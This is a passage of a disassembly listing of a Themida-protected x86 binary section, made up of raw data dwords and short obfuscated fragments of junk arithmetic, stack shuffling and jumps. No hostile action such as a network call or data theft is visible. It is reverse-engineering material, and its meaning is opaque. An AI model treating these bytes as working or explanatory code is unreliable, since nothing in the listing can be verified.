dw 0CA01h
dd 4EC8359h, 0BD242C89h, 40686FA7h, 0FFCB47E9h, 5BD821FFh
dd 5745720Dh, 1FCA2D4Fh, 21E92C14h, 4AFFFF98h, 818FEA81h
dd 5DE96D1Dh, 53FFFF54h, 0FFE837E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55B2FD: ; CODE XREF: Themida_:0055ED12j
mov ebp, 5A3941FFh
or ebp, 32C33A9Ah
jmp loc_562A27
; ---------------------------------------------------------------------------
db 5Ah, 8Fh, 4
aPsq db '$\Péq,',0
align 4
dd 0FF4BFAE9h, 243C89FFh, 0C781E789h, 4, 0E904C783h, 0FFFFF661h
dd 81E18951h, 4C1h, 2C18300h, 0FF56EEE9h, 448158FFh, 3EF40424h
dd 0B6E97261h, 58000045h, 0D800FC2Ch, 305BFC04h, 0C0B60FC3h
dd 24148B66h, 1E9C68h, 24348900h, 402E68h, 3B24E900h, 1C890000h
dd 0BB8E924h, 815A0000h, 4ECh, 0EA61E900h, 8957FFFFh, 0E95652E7h
dd 5A07h, 1A6CF281h, 0EA810445h, 3FCE6165h, 0FA7DC281h
dd 0D089677Dh, 8526E95Ah, 0E95F0000h, 0FFFF5837h
; ---------------------------------------------------------------------------
loc_55B3B0: ; CODE XREF: Themida_:00559AA1j
sub edx, 0E63FC518h
jmp loc_557BA4
; ---------------------------------------------------------------------------
db 5Ch
dd 4EC81h, 1C890000h, 2CD1BB24h, 514B2BA9h, 637DBF57h
dd 0F9891869h, 0FFE9815Fh, 68FFFFFFh, 58E9h, 57240489h
dd 87ACE9h, 5AD10900h, 34C18141h, 14D48F8h, 0CF8159CFh
dd 78916B5Bh, 0FF949FE9h, 66D388FFh, 8124148Bh, 2C4h, 4EC8100h
dd 0E9000000h, 0FFFF8240h, 5303EAC1h, 64526CBBh, 5BDA2170h
dd 5E4DB850h, 5548543Ah, 607BF9BDh, 81F58174h, 0C16F4B50h
dd 0D5F703E5h, 0FB2EF581h, 0E80963ACh, 5E8C15Dh, 9E67CE05h
dd 51F7E916h, 0C1810000h, 45964278h, 0E908E1C1h, 0FFFF4B05h
; ---------------------------------------------------------------------------
loc_55B460: ; CODE XREF: Themida_:005640A0j
xor ecx, [esp]
mov esp, [esp]
jmp loc_55539D
; ---------------------------------------------------------------------------
db 0FFh
dd 835A2434h, 0D10104C4h, 240C335Ah, 33240C31h, 0E95C240Ch
dd 599Bh
; ---------------------------------------------------------------------------
loc_55B484: ; CODE XREF: Themida_:005551A0j
add eax, 67701DF8h
jmp loc_55AC56
; ---------------------------------------------------------------------------
dw 895Ch
dd 1BD242Ch, 68000000h, 2D6Fh, 55243489h, 0FFDE68E9h, 5BD801FFh
dd 0E9505152h, 10E7h, 0D2180BAh, 42DAF775h, 0FF6174E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55B4BD: ; CODE XREF: Themida_:00557ABDj
mov eax, [esp]
add esp, 4
mov ebx, ebp
pop ebp
inc ebx
xor ebx, 340A38CEh
xor edx, ebx
push dword ptr [esp]
pop ebx
push eax
push esp
pop eax
push ecx
mov ecx, 4
add eax, ecx
pop ecx
sub eax, 4
xchg eax, [esp]
pop esp
mov [esp], esi
mov esi, esp
add esi, 4
push eax
jmp loc_56126B
; ---------------------------------------------------------------------------
dd 4EC81h, 0D5E90000h, 83FFFF7Fh, 0C8704C1h, 6685C24h
dd 89000015h, 91682414h, 8B1F604Dh, 0C4832414h, 2E2C104h
dd 7A0ACA81h, 6E94125h
db 54h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55B52F: ; CODE XREF: Themida_:00558915j
add esp, 4
xor edx, 9A70A8Fh
sub ebp, 6DA7DF6h
sub ebp, 6A675F83h
jmp loc_561A24
; ---------------------------------------------------------------------------
db 58h, 5Bh, 0C1h
dd 895304E0h, 4C381E3h, 83000000h, 1C8704EBh, 81E95C24h
dd 0B000000Bh, 0B6526652h, 66F0080Fh, 2CD0F65Ah, 77EB806Dh
dd 0FF4F27E9h, 28EA81FFh, 13B197Ch, 0E8095AD5h, 0A8E9485Dh
dd 66000025h, 5524048Bh, 0FFA38AE9h, 241C8BFFh, 4C481h
dd 0C330000h, 240C3124h, 0E9240C33h, 0FFFFAC2Ch, 40558h
dd 0BE560000h, 4, 875EF001h, 95E92404h
db 0C2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55B5C3: ; CODE XREF: Themida_:00550345j
shr esi, 3
xor esi, 7F571251h
sub esi, 61D04CABh
sub edx, esi
mov esi, [esp]
add esp, 4
xchg edx, [esp]
pop esp
mov [esp], esi
jmp loc_5585BB
; ---------------------------------------------------------------------------
dw 0EE81h
dd 6F704F78h, 0FFAFDBE9h, 66F028FFh, 28A7B151h, 0C8B66C8h
dd 2C48124h, 66000000h, 6824148Bh, 0B99h, 54241489h, 3AD4E95Ah
dd 0FDB80000h, 0BD3C6E08h, 2A345565h, 3FE9C531h, 5CFFFF64h
dd 4C381h, 0BA520000h, 2, 875AD301h, 64E9241Ch, 81000088h
dd 0E23034EDh, 0B0C58172h, 81038904h, 732417C5h, 81C5012Fh
dd 732417EDh, 0B0ED812Fh, 0E9038904h, 0FFFFB02Ch, 4BDh
dd 0C1A5E900h, 0D8F7FFFFh, 22281A25h, 61773535h, 620563DEh
dd 89F3410Ah, 1F53E9C5h, 0F5810000h, 25F74C2Ah, 4503E5C1h
dd 59C0E9h
db 0
; ---------------------------------------------------------------------------
loc_55B695: ; CODE XREF: Themida_:0055F13Aj
mov ebx, 50D17FA4h
mov esi, ebx
mov ebx, [esp]
add esp, 4
jmp loc_55BC33
; ---------------------------------------------------------------------------
aQissr db 'Q䇎"',0
align 2
dw 2C87h
dd 0DE45E924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55B6BA: ; CODE XREF: Themida_:00558211j
pop esp
sub [esp+4], ebx
mov ebx, [esp]
jmp loc_55CFE4
; ---------------------------------------------------------------------------
loc_55B6C7: ; CODE XREF: Themida_:00557464j
mov [esp], eax
jmp loc_54FF17
; ---------------------------------------------------------------------------
db 50h
dd 2B8h, 0E9C68900h, 3972h, 4C581h, 0ED810000h, 4, 5C242C87h
dd 0FF83FDE9h, 47BF68FFh, 1C890000h, 2BB24h, 0C1810000h
dd 7D4F65A6h, 0E981D901h, 7D4F65A6h, 5B2434FFh, 68E18951h
dd 5058h, 0E9243C89h, 482h
dword_55B720 dd 9D1C77FFh, 0D3665966h, 0E99C241Ch, 69B7h, 0D8007504h
; DATA XREF: Themida_:0054FE48o
dd 80BDB353h, 0F38023EBh, 63EB80BCh, 52DAF380h, 0F328A4B6h
dd 5BD8285Ah, 5856E9h, 4EC8100h, 89000000h, 4AB82404h
dd 0BE79E718h, 0E78E58Ah, 48BC631h, 0DD9CE924h, 0F281FFFFh
dd 0ED03913Eh, 0FF9027E9h, 0C8966FFh, 5828E924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55B782: ; CODE XREF: Themida_:00557665j
push ebx
push edx
jmp loc_55F842
; ---------------------------------------------------------------------------
db 8Bh, 4, 24h
dd 4C481h, 0ED810000h, 0A698B6h, 6C3EB81h, 0EB292D73h
dd 6CADE9h
db 0
; ---------------------------------------------------------------------------
loc_55B7A5: ; CODE XREF: Themida_:00559E7Aj
add ebp, 4
jmp loc_55222E
; ---------------------------------------------------------------------------
dd 0AB4BE958h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55B7B6: ; CODE XREF: Themida_:00561CB4j
push dword ptr [esp+4]
pop edx
pop dword ptr [esp]
jmp loc_55EA2F
; ---------------------------------------------------------------------------
db 83h
dd 97E904C4h
db 4Bh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55B7CB: ; CODE XREF: Themida_:00562873j
add edi, 4
xchg edi, [esp]
pop esp
mov eax, ecx
pop ecx
mov esi, [esp]
add esp, 4
jmp loc_556B1B
; ---------------------------------------------------------------------------
dw 0B450h
dd 0E1F480B4h, 43E9E628h
db 0BDh, 2 dup(0FFh)
byte_55B7F3 db 64h ; DATA XREF: Themida_:0054FD7Co
dd 83028B66h, 0C8904ECh, 68E18924h, 3AD8h, 68241489h, 4A73h
dd 68243C89h, 211Dh, 0BB241C89h, 0AD56C98h, 0FCF684Bh
dd 4890000h, 3A71B824h, 0F740438Fh, 43EC05D8h, 4E9A05Ch
db 27h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55B837: ; CODE XREF: Themida_:00562E8Bj
push esp
pop eax
add eax, 4
jmp loc_5576E2
; ---------------------------------------------------------------------------
loc_55B843: ; CODE XREF: Themida_:00560102j
mov [esp], esp
jmp loc_5520B6
; ---------------------------------------------------------------------------
db 0BDh
dd 12985287h, 34FFEE01h, 0C4AAE924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55B85A: ; CODE XREF: Themida_:0055CB20j
xor [esp+4], edi
pop edi
pop esi
jmp loc_55CC09
; ---------------------------------------------------------------------------
loc_55B865: ; CODE XREF: Themida_:00550035j
pop eax
sub [edi+24h], edx
mov edx, [esp]
jmp loc_56117A
; ---------------------------------------------------------------------------
loc_55B871: ; CODE XREF: Themida_:00554C18j
pop eax
dec ebx
add ebx, 2EFC180Bh
mov eax, ebx
mov ebx, [esp]
add esp, 4
shr eax, 6
or eax, 330D0537h
xor eax, 0E875CDCh
shr eax, 6
xor eax, 0F4E942h
add ebx, 48BB5BA3h
add ebx, 13B35E03h
add ebx, eax
push eax
mov eax, 6EA506BFh
sub eax, 4FC50356h
xor eax, 2589038Bh
sub eax, 27B5A2DFh
sub ebx, eax
pop eax
sub ebx, 48BB5BA3h
mov eax, [esp]
add esp, 4
sub ebx, 4
jmp loc_557184
; ---------------------------------------------------------------------------
dw 0CE89h
dd 0FF4F81E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55B8DD: ; CODE XREF: Themida_:00558396j
mov edx, [esp]
add esp, 4
xor edx, eax
push dword ptr [esp]
jmp loc_553F09
; ---------------------------------------------------------------------------
dd 6EC4E95Ah
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55B8F6: ; CODE XREF: Themida_:00558DC6j
mov eax, esp
push edi
mov edi, 532E0214h
or edi, 29AF3AE5h
jmp loc_55ECD6
; ---------------------------------------------------------------------------
db 58h, 50h, 0B0h
dd 0C501E98Ch
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55B912: ; CODE XREF: Themida_:0056051Dj
push ecx
mov ecx, 1F803C74h
shl ecx, 8
jmp loc_55733B
; ---------------------------------------------------------------------------
loc_55B920: ; CODE XREF: Themida_:005519FFj
xchg ecx, [esp]
pop esp
jmp loc_5522CE
; ---------------------------------------------------------------------------
loc_55B929: ; CODE XREF: Themida_:0055CF43j
sub esp, 4
mov [esp], ebp
jmp loc_55959D
; ---------------------------------------------------------------------------
dd 50EBB353h, 9CE9BCB4h
db 0DCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55B93F: ; CODE XREF: Themida_:005529E5j
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
jmp loc_56398B
; ---------------------------------------------------------------------------
loc_55B954: ; CODE XREF: Themida_:00553600j
push 5E3Fh
mov [esp], edx
sub esp, 4
mov [esp], esi
mov esi, 10h
sub esp, 4
mov [esp], esi
add dword ptr [esp], 76D73E50h
push dword ptr [esp]
mov edx, [esp]
add esp, 4
add esp, 4
sub edx, 76D73E50h
mov esi, [esp]
add esp, 4
and ebx, edx
push dword ptr [esp]
pop edx
sub esp, 4
jmp loc_55FA33
; ---------------------------------------------------------------------------
dw 8358h
dd 505104C4h, 0FFEA9AE9h, 666855FFh, 5D6F8C0Fh, 8106EDC1h
dd 0FFFFFFEDh, 272BE9FFh, 0F5810000h, 3DEF2E83h, 0FF6E89E9h
dd 7CC681FFh, 8168B657h, 502D07F6h, 55DEF70Fh, 7A4F35BDh
dd 237DE916h, 4890000h, 2B824h, 0EE810000h, 6DB91C4Ch
dd 52E9C601h, 83FFFF78h, 0F93104C4h, 62BD555Fh, 0C136FF5Bh
dd 0C0E908E5h, 0FFFF6Ch, 34E959EBh, 83FFFFF9h, 506602C4h
dd 0E230FBB4h, 0E9505866h, 0AD5h
; ---------------------------------------------------------------------------
loc_55BA2C: ; CODE XREF: Themida_:0055111Fj
add esp, 4
jmp loc_55003A
; ---------------------------------------------------------------------------
db 81h
dd 0E843CCEAh, 45E95039h, 31FFFF59h, 9B15E9C5h, 0C5890000h
dd 0FFF8F0E9h, 89FD89FFh, 3C8B5DEAh, 4C48324h, 8904EC83h
dd 0FE9242Ch
db 0E7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55BA67: ; CODE XREF: Themida_:00559443j
xor [esp], esi
xor esi, [esp]
jmp loc_554731
; ---------------------------------------------------------------------------
loc_55BA72: ; CODE XREF: Themida_:005581CFj
pop ebp
jmp loc_552DFA
; ---------------------------------------------------------------------------
dd 8324148Bh, 815F04C4h, 4C7h, 4EC8300h, 68241489h, 5E12h
dd 0E9243489h, 0FFFF4B5Ah
; ---------------------------------------------------------------------------
loc_55BA98: ; CODE XREF: Themida_:0055EE36j
mov ebx, 52125C14h
push 52125C15h
pop esi
jmp loc_5542D4
; ---------------------------------------------------------------------------
dd 0D2EB951h, 0E9C17234h, 34D8E903h, 0F1010000h, 4E9815Eh
dd 87000000h, 895C240Ch, 53502414h, 15E96CB3h, 81FFFFBEh
dd 0B62E68F3h, 5BD90141h, 24348151h, 3F800233h, 7A6BE95Dh
dd 3BB90000h, 2158150Ah, 0BD5559C8h, 0C397C166h, 895DE829h
dd 6879E9C7h, 30680000h, 8900006Bh, 44E9240Ch, 0B1FFFF88h
dd 9159E91Bh, 0E90000h, 81FFFF44h, 4639AFEEh, 8E6C122h
dd 0B9B6EE81h, 0F0316FFBh, 0FFD2C1E9h, 8B5450FFh, 89572404h
dd 4C781E7h, 0E9000000h, 1875h
; ---------------------------------------------------------------------------
loc_55BB40: ; CODE XREF: Themida_:0055901Aj
mov [esp], eax
push ebx
jmp loc_562FFB
; ---------------------------------------------------------------------------
db 5Ah, 4, 0E9h
dd 5CE9C328h
db 0E7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55BB53: ; CODE XREF: Themida_:005520BAj
pop dword ptr [esp]
add dword ptr [esp], 4
jmp loc_5581C5
; ---------------------------------------------------------------------------
loc_55BB5F: ; CODE XREF: Themida_:00560072j
push eax
mov eax, 78D2672Ah
add ecx, eax
pop eax
push 47A2h
mov [esp], ebp
mov ebp, 605D20AFh
jmp loc_5606EB
; ---------------------------------------------------------------------------
dw 0CE01h
dd 0E8EDE959h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55BB82: ; CODE XREF: Themida_:00560CA4j
xchg esi, [esp]
jmp loc_555EC3
; ---------------------------------------------------------------------------
loc_55BB8A: ; CODE XREF: Themida_:00553AE9j
sub eax, 37837B74h
mov ebp, eax
pop eax
jmp loc_552ED9
; ---------------------------------------------------------------------------
db 8Bh
dd 0C483242Ch, 6BF4E904h, 0BBFFFFFh, 813B8630h, 75145EE7h
dd 0EF7810Eh, 10A0410h, 485EE9F9h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55BBBA: ; CODE XREF: Themida_:0055F509j
add edx, 4
xchg edx, [esp]
pop esp
jmp loc_552834
; ---------------------------------------------------------------------------
loc_55BBC6: ; CODE XREF: Themida_:00558E7Fj
push esp
jmp loc_55CB14
; ---------------------------------------------------------------------------
loc_55BBCC: ; CODE XREF: Themida_:00561421j
add esp, 4
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
and ecx, esi
push dword ptr [esp]
pop esi
add esp, 4
shr ecx, 0
or eax, eax
jz loc_561180
sub esp, 4
jmp loc_55DF0A
; ---------------------------------------------------------------------------
db 89h, 14h, 24h
dd 62E95A54h
db 0C6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55BC0B: ; CODE XREF: Themida_:00562ED2j
mov ebp, [esp]
push edi
mov edi, esp
jmp loc_5587D2
; ---------------------------------------------------------------------------
dw 0EAC1h
dd 0CEF28108h, 8140215Eh, 853055E2h, 41EA8157h, 0C14EB07Eh
dd 55E908EAh
db 56h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55BC33: ; CODE XREF: Themida_:0055B6A5j
push edi
mov edi, 683300F2h
xor esi, edi
mov edi, [esp]
add esp, 4
sub esi, 5B387B37h
add esi, 37738D7h
push 4ACCh
mov [esp], edi
push edx
push 75312934h
pop edx
sub edx, 940FEC40h
mov edi, edx
jmp loc_550A10
; ---------------------------------------------------------------------------
db 0F7h, 0D7h, 0F7h
dd 0CDBD55DFh, 817B7277h, 5241A6EDh, 81DDF716h, 633E2BEDh
dd 5DEF29A3h, 0F75FFD89h, 2AC581D5h, 0E936D24Eh, 0FFFFD2D9h
; ---------------------------------------------------------------------------
loc_55BC94: ; CODE XREF: Themida_:00557022j
add dword ptr [esp+4], 28163696h
pop ebp
jmp loc_55F2B8
; ---------------------------------------------------------------------------
loc_55BCA2: ; CODE XREF: Themida_:0055734Dj
not ecx
xor ecx, 0F22A2465h
jmp loc_558C59
; ---------------------------------------------------------------------------
db 0FFh
a4SG db '4$éÞg',0
dw 5900h
dd 5758C329h, 181D51BFh, 4EFC151h, 1BB2C781h, 0D1E92462h
dd 87FFFF5Bh, 248B2404h, 241C8924h, 241C8B54h, 4C481h
dd 0BD550000h, 4E4C7393h, 3EDC145h, 27C7ED81h, 0F5810332h
dd 69766AFh, 51BEE9h, 45D5F700h, 791BED81h, 83E9D49Ah
db 0Fh, 2 dup(0)
byte_55BD0B db 66h ; DATA XREF: Themida_:0054FDBCo
dd 5124048Bh, 7AE9E189h, 0F7FFFF87h, 0C6A68E1h, 14890000h
dd 0E99C5024h, 0FFFF821Fh, 0E9E38953h, 121Eh, 4C181h, 0C1830000h
dd 240C8704h, 7BEF815Ch, 0E9061230h, 95E0h, 0C1015D5Bh
dd 43D6E9h, 5FC8B900h, 0EB8178BBh, 4C1B6A6Eh, 0BD55CB01h
dd 7A2208FDh, 0F581DDF7h, 0C9C69D6Dh, 595DEB01h, 6852h
dd 72E90000h, 5200001Dh, 0C281E289h, 4, 4EA81h, 14870000h
dd 14895C24h, 97F2E924h, 815A0000h, 0C76136EBh, 5BDE010Bh
dd 0E902C683h, 0FFFF5D25h, 8958C629h, 24348BF1h, 0E904C483h
dd 4705h
; ---------------------------------------------------------------------------
loc_55BDB8: ; CODE XREF: Themida_:00556F17j
xor ebp, 68C61CC7h
push ebp
mov esi, [esp]
add esp, 4
mov ebp, [esp]
add esp, 4
shl esi, 1
jmp loc_55FC2D
; ---------------------------------------------------------------------------
db 50h, 0FFh, 74h
dd 34FF0424h, 24048B24h, 8104C483h, 4C4h, 24048F00h, 0FFF69DE9h
dd 0C0D7F6FFh, 0EF8004E7h, 0CE780DBh, 0C0E9CFFEh
db 7Eh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55BE03: ; CODE XREF: Themida_:00556547j
inc bh
sub bh, 3Ch
jmp loc_55900A
; ---------------------------------------------------------------------------
loc_55BE0D: ; CODE XREF: Themida_:00554C04j
push eax
mov eax, 615B579Eh
add eax, 44A22099h
jmp loc_5622B1
; ---------------------------------------------------------------------------
db 80h, 0C3h, 77h
dd 0FFBAD8E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55BE25: ; CODE XREF: Themida_:0055016Dj
xor ebx, 63E00643h
shr ebx, 3
sub ebx, 7CC434E5h
not ebx
and ebx, 70756080h
add ebx, 8FFFFF84h
add ecx, ebx
pop ebx
xor ecx, [esp]
xor [esp], ecx
jmp loc_563E84
; ---------------------------------------------------------------------------
loc_55BE50: ; CODE XREF: Themida_:005593BDj
push 229Bh
mov [esp], eax
push dword ptr [esp+4]
jmp loc_55F975
; ---------------------------------------------------------------------------
loc_55BE61: ; CODE XREF: Themida_:0055ABD4j
add ebx, 36F91078h
pop eax
push ebp
mov ebp, 165E3783h
add ecx, ebp
pop ebp
jmp loc_55FAAC
; ---------------------------------------------------------------------------
loc_55BE76: ; CODE XREF: Themida_:0055D333j
pop esp
mov [esp], eax
mov ah, 54h
or bl, ah
pop eax
neg bl
shl bl, 3
xor bl, 24h
add cl, bl
pop ebx
xor al, cl
mov ecx, [esp]
push ebx
mov ebx, esp
jmp loc_55DA3D
; ---------------------------------------------------------------------------
loc_55BE97: ; CODE XREF: Themida_:0055A058j
neg ebx
shr ebx, 5
sub ebx, 0C3C56AEFh
add ecx, ebx
pop ebx
or ecx, 565B4A9Dh
push 3384h
mov [esp], edx
push edi
push eax
mov eax, 6A9A73D3h
mov edi, 0A7FE0261h
add edi, eax
pop eax
shl edi, 7
neg edi
jmp loc_565060
; ---------------------------------------------------------------------------
dd 5933BD55h, 5DE9502Eh
db 42h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55BED7: ; CODE XREF: Themida_:00555F7Aj
mov [esp], ecx
jmp loc_55646A
; ---------------------------------------------------------------------------
db 56h
dd 0D3295E5Ah, 1CEB685Ah, 1C890000h, 5350E924h, 0B9BF0000h
dd 81446E3Bh, 0F31954CFh, 4EC836Eh, 0B8240489h, 0D332FF17h
dd 2958C701h, 1962E9F8h, 0CE010000h, 657CEE81h, 875935C9h
dd 248B2434h, 0E1895124h, 3C1FE9h, 4C48300h, 0DD20E95Bh
dd 0FEBBFFFFh, 0F709BE06h, 0ABCB81DBh, 81587A3Ch, 0EF6A60E3h
dd 31EB810Dh, 0E91BAC26h, 8440h, 54E9F001h, 53FFFF87h
dd 5B2404FFh, 0E6E9DBF7h
db 0B7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55BF63: ; CODE XREF: Themida_:0055E373j
push edx
mov edx, ecx
push ecx
mov ecx, edx
mov ebp, ecx
jmp loc_551A16
; ---------------------------------------------------------------------------
loc_55BF70: ; CODE XREF: Themida_:0055A1C6j
sub eax, 1F193499h
add eax, 652E035Eh
push ebp
mov ebp, 2BDF257Ah
and eax, ebp
pop ebp
jmp loc_556A87
; ---------------------------------------------------------------------------
dd 5D2434FFh, 5104C483h, 0BA52E189h, 4, 815AD101h, 4E9h
dd 240C8700h, 8924248Bh, 0BF57242Ch, 1EDA018Ah, 0FFFCB4E9h
dd 240489FFh, 0FFA704E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55BFBD: ; CODE XREF: Themida_:0055C8DBj
sub edx, edi
sub edx, 2E75977h
jmp loc_56330A
; ---------------------------------------------------------------------------
loc_55BFCA: ; CODE XREF: Themida_:0055EDCAj
sub esi, 1
shr esi, 4
dec esi
inc esi
add esi, 3C745F15h
push edi
mov edi, 95312B9h
shl edi, 7
and edi, 17E31F06h
sub edi, 1811C01h
sub esi, 50A96EBFh
add esi, edi
add esi, 50A96EBFh
pop edi
sub esi, 83C0B58h
sub edi, esi
mov esi, [esp]
add esp, 4
and ecx, edi
jmp loc_553EF2
; ---------------------------------------------------------------------------
loc_55C014: ; CODE XREF: Themida_:005642EFj
xchg edi, [esp]
pop esp
mov [esp], edx
mov ebp, [esp]
sub esp, 4
mov [esp], ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xor ecx, [esp]
xor [esp], ecx
xor ecx, [esp]
jmp loc_562AEE
; ---------------------------------------------------------------------------
dd 6804C483h, 1708h, 0FF9A95E9h, 5DF768FFh, 4890000h, 34FF5424h
dd 0F948E924h, 0EC83FFFFh, 241C8904h, 904AE950h, 89660000h
dd 9B5240Ch, 5966EB28h, 5958E9h, 0B1B95100h, 0F70FEA32h
dd 3EE941D9h, 83000015h, 0FA3002C4h, 93EA805Bh, 0FFC45BE9h
dd 24048FFFh, 8852665Ch, 88D2F6C2h, 0E95A66D0h, 0FFFFA675h
dd 5763E951h, 0BA520000h, 22ED48Ch, 0E95AD129h, 0FFFF6830h
dd 0E904EC83h, 1FEAh
dword_55C0C4 dd 0FF2434FFh, 34FF2434h, 2434FF24h, 4C48358h, 4EC81h
; DATA XREF: Themida_:0054FDD0o
dd 0C890000h, 0E9E18924h, 0FFFF5342h, 52243489h, 0D47834BAh
dd 5AD68952h, 78E9F031h, 1FFFF42h, 0E904244Ch, 0FFFF7E87h
dd 81E18951h, 4C1h, 4C18100h, 33000000h, 0C31240Ch, 240C3324h
dd 8324248Bh, 0C8904ECh, 4B85024h, 53000000h, 0D989C389h
dd 8B2434FFh, 0C483241Ch, 4C48104h, 58000000h, 0B3E9CF01h
db 50h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55C143: ; CODE XREF: Themida_:00563155j
pop eax
xchg ebp, [esp]
pop esp
movzx eax, al
push dword ptr [edi+eax*4]
push 5D95h
mov [esp], ecx
mov ecx, 3FCh
jmp loc_563E0E
; ---------------------------------------------------------------------------
loc_55C160: ; CODE XREF: Themida_:005578C7j
xor edx, 12127F98h
sub edx, 3DCDB143h
jmp loc_5650EB
; ---------------------------------------------------------------------------
byte_55C171 db 0FFh, 34h, 24h ; DATA XREF: Themida_:0054FEC0o
dd 582434FFh, 7D4A68h, 0D7B9E900h, 0B850FFFFh, 2FE00BF6h
dd 5EB5E948h, 0E95EFFFFh, 28A1h, 62D68h, 49C4E900h, 56660000h
dd 229EBE66h, 47AE9h, 0D9E95C00h
db 54h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55C1AF: ; CODE XREF: Themida_:00551E1Bj
mov ebp, [esp]
jmp loc_554CF8
; ---------------------------------------------------------------------------
db 81h
dd 44883CC5h, 0E9EE01E8h, 0FFFF8F77h
; ---------------------------------------------------------------------------
loc_55C1C4: ; CODE XREF: Themida_:0056048Dj
add esi, 611F3CB7h
pop edx
add eax, esi
pop esi
jmp loc_550033
; ---------------------------------------------------------------------------
db 8Bh
dd 0C4832404h, 4C48304h, 4A3BA52h, 0CA810BE4h, 53223E30h
dd 0DA968h, 240C8900h, 0FFFFFFB9h, 0F0CCE9FFh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55C1FA: ; CODE XREF: Themida_:00553317j
and ebx, 66123888h
push ecx
mov ecx, 5AAA3D79h
add ebx, ecx
pop ecx
sub edi, ebx
pop ebx
shl edi, 3
add edi, 9251B466h
jmp loc_561E0D
; ---------------------------------------------------------------------------
loc_55C21A: ; CODE XREF: Themida_:00556F04j
mov ebp, esp
jmp loc_551A04
; ---------------------------------------------------------------------------
loc_55C221: ; CODE XREF: Themida_:005572A8j
add ebp, 4
xchg ebp, [esp]
pop esp
add esi, 4
add esi, 2
push esi
mov esi, esp
jmp loc_555ECF
; ---------------------------------------------------------------------------
dd 0CA2BB305h, 35B95110h, 0E91AA23Eh, 60E3h, 8704C083h
dd 555C2404h, 4BDh, 6E2AE900h, 0C7810000h, 1, 8F7EE947h
dd 1C33FFFFh, 24248B24h, 68E9F766h, 1FA1h, 54243489h, 8324348Bh
dd 0C68104C4h, 4, 4E40E953h, 0C481FFFFh, 4, 0FFAA06E9h
dd 8EDC1FFh, 1696E9h, 24148900h, 64DE9h, 0EF6800h, 0E95B408Ch
dd 0FFFFDD60h, 0E9E3C680h, 0FFFF4909h, 8704EB83h, 0FAE9241Ch
dd 66FFFF9Eh, 4244401h, 246C8166h, 0E94B9304h, 0FFFFBD41h
dd 4EC815Bh, 89000000h, 34B9240Ch, 9764623h, 0A019E9CFh
dd 0CCB9FFFFh, 0E92FE953h, 89AEh, 0E43EE81h, 0CAE92676h
dd 83000064h, 5F042404h, 18B368h, 24148900h, 4BAh, 0E9D70100h
dd 53F3h, 324EB951h, 0E1C10695h, 4F18107h, 894A9927h, 3F30E9CFh
dd 0E281FFFFh, 77E363D7h, 2EA9B850h, 99E91725h
db 0BEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55C343: ; CODE XREF: Themida_:0055B02Fj
push 2EC1h
jmp loc_555AA5
; ---------------------------------------------------------------------------
db 1, 0DFh, 0E9h
dd 0FFFFFF84h, 0EC815266h, 4, 0E9240489h, 0FFFFE7D0h, 0FDBA525Ch
dd 8147AD36h, 0CE042444h, 29586F1Eh, 0E9042454h, 0FFFFA0F5h
dword_55C37C dd 0E940478Fh, 0FFFF3B93h, 3181D101h, 746B0616h, 83240C8Bh
; DATA XREF: Themida_:0054FD58o
dd 895704C4h, 4EC81E7h, 89000000h, 0DE9242Ch
db 48h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55C3A3: ; CODE XREF: Themida_:00552918j
push dword ptr [esp]
jmp loc_562741
; ---------------------------------------------------------------------------
db 81h
dd 4C7h, 4EF8300h, 31243C33h, 3C33243Ch, 24248B24h, 68240C89h
dd 5356h, 7DC9E9h, 592D5D00h, 89CE69E2h, 0EC8158C2h, 4
dd 0BD242C89h, 23EE5699h, 0F707E5C1h, 7EDC1D5h, 0FFCC64E9h
dd 58C629FFh, 0FF6348E9h, 0E1BA52FFh, 0F7638137h, 6E2C1DAh
dd 0F703E2C1h, 0A1CA81DAh, 836C1558h, 0A7E904ECh
db 0CDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55C417: ; CODE XREF: Themida_:005636C5j
or edx, eax
shl edx, 1
push edx
mov edx, 0DB55D87h
neg edx
sub edx, 37BA7A8Ch
shr edx, 7
shr edx, 6
shl edx, 1
push ebp
push edi
mov edi, 2C920399h
mov ebp, 2C99AABFh
xor ebp, edi
mov edi, [esp]
add esp, 4
xor edx, ebp
mov ebp, [esp]
add esp, 4
add edx, edi
push ebx
mov ebx, 0
jmp loc_55764D
; ---------------------------------------------------------------------------
dw 5368h
dd 0E9000010h, 5781h, 8247429h, 31E95D5Eh, 5EFFFF9Fh, 4EB6F581h
dd 6808D9h, 29000000h, 875D242Ch, 0E9D2F7D5h, 0FFFFA3DDh
dword_55C488 dd 24048B66h, 6D68h, 24348900h, 2434FF54h, 0E150E95Eh
; DATA XREF: Themida_:0054FE08o
